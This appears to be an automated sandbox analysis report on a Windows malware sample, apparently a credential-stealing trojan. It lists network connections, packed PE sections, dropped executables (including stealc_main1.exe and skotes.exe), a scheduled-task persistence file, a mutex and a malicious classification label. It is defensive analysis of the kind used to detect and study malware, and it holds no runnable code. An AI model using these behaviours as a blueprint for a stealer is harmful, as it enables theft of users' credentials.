Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.9:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.9:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49843 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name:
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe.27.dr	Static PE information: section name: .idata
Source: random[1].exe.27.dr	Static PE information: section name:
Source: 2bb39d7142.exe.27.dr	Static PE information: section name:
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: .rsrc
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: .idata
Source: 2bb39d7142.exe.27.dr	Static PE information: section name:

PE file has a writeable .text section

Source: stealc_main1[1].exe.27.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: stealc_main1.exe.27.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB7B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB7B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB7B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB1F280

Source: C:\Users\user\DocumentsKKJKFBKKEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB135A0	0_2_6CB135A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB734A0	0_2_6CB734A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7C4A0	0_2_6CB7C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB26C80	0_2_6CB26C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB56CF0	0_2_6CB56CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D4E0	0_2_6CB1D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3D4D0	0_2_6CB3D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB264C0	0_2_6CB264C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8542B	0_2_6CB8542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB55C10	0_2_6CB55C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB62C10	0_2_6CB62C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8AC00	0_2_6CB8AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8545C	0_2_6CB8545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB25440	0_2_6CB25440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB785F0	0_2_6CB785F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50DD0	0_2_6CB50DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3ED10	0_2_6CB3ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB40512	0_2_6CB40512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2FD00	0_2_6CB2FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB74EA0	0_2_6CB74EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35E90	0_2_6CB35E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7E680	0_2_6CB7E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1BEF0	0_2_6CB1BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2FEF0	0_2_6CB2FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB876E3	0_2_6CB876E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB79E30	0_2_6CB79E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB57E10	0_2_6CB57E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB65600	0_2_6CB65600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1C670	0_2_6CB1C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB86E63	0_2_6CB86E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB39E50	0_2_6CB39E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB53E50	0_2_6CB53E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB34640	0_2_6CB34640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB62E4E	0_2_6CB62E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB677A0	0_2_6CB677A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46FF0	0_2_6CB46FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1DFE0	0_2_6CB1DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB57710	0_2_6CB57710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB29F00	0_2_6CB29F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB460A0	0_2_6CB460A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C0E0	0_2_6CB3C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB558E0	0_2_6CB558E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB850C7	0_2_6CB850C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5B820	0_2_6CB5B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB64820	0_2_6CB64820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB27810	0_2_6CB27810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5F070	0_2_6CB5F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB38850	0_2_6CB38850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3D850	0_2_6CB3D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4D9B0	0_2_6CB4D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1C9A0	0_2_6CB1C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB55190	0_2_6CB55190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB72990	0_2_6CB72990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B970	0_2_6CB6B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8B170	0_2_6CB8B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2D960	0_2_6CB2D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3A940	0_2_6CB3A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2CAB0	0_2_6CB2CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82AB0	0_2_6CB82AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB122A0	0_2_6CB122A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB44AA0	0_2_6CB44AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8BA90	0_2_6CB8BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB31AF0	0_2_6CB31AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5E2F0	0_2_6CB5E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58AC0	0_2_6CB58AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB59A60	0_2_6CB59A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1F380	0_2_6CB1F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB853C8	0_2_6CB853C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5D320	0_2_6CB5D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2C370	0_2_6CB2C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15340	0_2_6CB15340
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000D5A02	25_1_000D5A02
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000CA215	25_1_000CA215
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633	25_1_001FD633
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001A3A2A	25_1_001A3A2A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000EB83B	25_1_000EB83B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001EC855	25_1_001EC855
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001F4E72	25_1_001F4E72
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FBA89	25_1_001FBA89
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000CC891	25_1_000CC891
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001E5EB1	25_1_001E5EB1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001EE2D0	25_1_001EE2D0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001676C4	25_1_001676C4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001A4F23	25_1_001A4F23
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_00187159	25_1_00187159
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001EAD56	25_1_001EAD56
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001F174D	25_1_001F174D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0012AD45	25_1_0012AD45
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0012D1AB	25_1_0012D1AB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001F87D8	25_1_001F87D8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001F69FD	25_1_001F69FD

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB4CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB594D0 appears 90 times

Source: file.exe, 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2015747253.000000006CD95000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: vqntibyw ZLIB complexity 0.9946550871667155
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979404376702997
Source: random[1].exe.0.dr	Static PE information: Section: ahejieaj ZLIB complexity 0.9948247115241912
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979404376702997
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: Section: ahejieaj ZLIB complexity 0.9948247115241912
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9979404376702997
Source: skotes.exe.23.dr	Static PE information: Section: ahejieaj ZLIB complexity 0.9948247115241912
Source: random[1].exe.27.dr	Static PE information: Section: edxcvrdu ZLIB complexity 0.9945558301445578
Source: 2bb39d7142.exe.27.dr	Static PE information: Section: edxcvrdu ZLIB complexity 0.9945558301445578

Source: 2bb39d7142.exe.27.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.27.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/303@26/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB77030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB77030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\GWK8U5Y3.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\0b4486a0-3714-4b55-8c66-ee133a838a5a.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
